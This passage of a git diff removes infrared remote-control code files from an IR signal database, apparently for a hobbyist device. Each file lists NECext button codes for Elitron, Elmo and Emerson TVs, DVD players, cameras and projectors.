-type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: V-MODE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: FAST_BACKWARD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4C 00 00 00 -# -name: PREWIEW -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 50 00 00 00 -# -name: L/R/ST -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 51 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 52 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir deleted file mode 100644 index f625bdd9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: key -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: tune_up -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: tune_down -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: envelope -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: preset_up -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: preset_down -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir deleted file mode 100644 index 209a7b109..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: backlight -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: irisopen -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: id -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: irisclose -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: focusnear -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: irisauto -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: focusfar -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: focusauto -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: cursor -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: tele -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: wide -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir deleted file mode 100644 index 6fe75b1ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: CAMERA_ID -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: RIGHT_B -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: CLOSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: AUTO_FOCUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: FOCUS_FAR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: ZOOM_TELE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: ZOOM_WIDE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 41 00 00 00 -# -name: DOWN_B -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 45 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 46 00 00 00 -# -name: LEFT_B -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: UP_B -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4C 00 00 00 -# -name: OPEN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 54 00 00 00 -# -name: FOCUS_NEAR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir deleted file mode 100644 index a90fad155..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: B_REV -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 09 00 00 00 -# -name: B_ZOOM_WIDE -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0A 00 00 00 -# -name: B_ZOOM_TELE -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0B 00 00 00 -# -name: B_FWD -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0C 00 00 00 -# -name: B_IRIS_CLOSE -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0D 00 00 00 -# -name: B_ZERO_RESET_FWD -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0E 00 00 00 -# -name: B_ZERO_RESET_REV -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0F 00 00 00 -# -name: B_FOCUS_F -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 11 00 00 00 -# -name: B_FOCUS_N -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 12 00 00 00 -# -name: B_LAMP_ON -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 13 00 00 00 -# -name: B_LAMP_OFF -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 14 00 00 00 -# -name: B_IRIS_OPEN -type: parsed -protocol: NECext -address: 84 84 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir deleted file mode 100644 index df03e0e36..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A_REV -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 09 00 00 00 -# -name: A_ZOOM_WIDE -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0A 00 00 00 -# -name: A_ZOOM_TELE -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0B 00 00 00 -# -name: A_FWD -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0C 00 00 00 -# -name: A_IRIS_CLOSE -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0D 00 00 00 -# -name: A_ZERO_RESET_FWD -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0E 00 00 00 -# -name: A_ZERO_RESET_REV -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 0F 00 00 00 -# -name: A_FOCUS_F -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 11 00 00 00 -# -name: A_FOCUS_N -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 12 00 00 00 -# -name: A_LAMP_ON -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 13 00 00 00 -# -name: A_LAMP_OFF -type: parsed -protocol: NECext -address: 86 86 00 00 -command: 14 00 00 00 -# -name: A_IRIS_OPEN -type: parsed -protocol: NECext -address: 86 86 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir deleted file mode 100644 index 56219efd9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FC_SCAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: FC_MEMO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: TV_/_CATV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: CHANNEL_-_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 1-- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: CHANNEL_-_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_-_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: PC_MEMO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: PC_SCAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir deleted file mode 100644 index 7fa039985..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A-B -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 43 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 50 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 57 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 70 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 79 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7B 00 00 00 -# -name: V.SURR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 81 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: C6 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: C7 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: C8 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: C9 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: CB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 87 22 00 00 -command: CD 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: CD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 87 22 00 00 -command: CD 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: CF 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: D0 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: DF 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E0 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E1 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E2 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E3 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E4 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E5 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E7 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E8 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: E9 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 87 22 00 00 -command: EC 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: EF 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: F0 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: F1 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: F3 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: F6 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: F7 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 87 22 00 00 -command: FA 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 87 22 00 00 -command: FB 00 00 00 -# -name: C.RESET -type: parsed -protocol: NECext -address: 87 22 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir deleted file mode 100644 index 1fa66fb51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 41 00 00 00 -# -name: KEY_AB -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 43 00 00 00 -# -name: X_KEY_OPENCLOSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 44 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 45 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 46 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 47 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 48 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 49 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4E 00 00 00 -# -name: X_KEY_REPEAT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 50 00 00 00 -# -name: X_KEY_PLUSTEN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: KEY_DISPLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 55 00 00 00 -# -name: X_KEY_SEARCHMODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 57 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: X_KEY_TOPMENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 70 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: X_KEY_RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 74 00 00 00 -# -name: X_KEY_LEFTARROW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 75 00 00 00 -# -name: X_KEY_RIGHTARROW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 76 00 00 00 -# -name: X_KEY_UPARROW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 77 00 00 00 -# -name: X_KEY_DOWNARROW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 78 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 79 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7B 00 00 00 -# -name: X_KEY_VSURR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir deleted file mode 100644 index 57b82afc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir +++ /dev/null @@ -1,38 +0,0 @@ 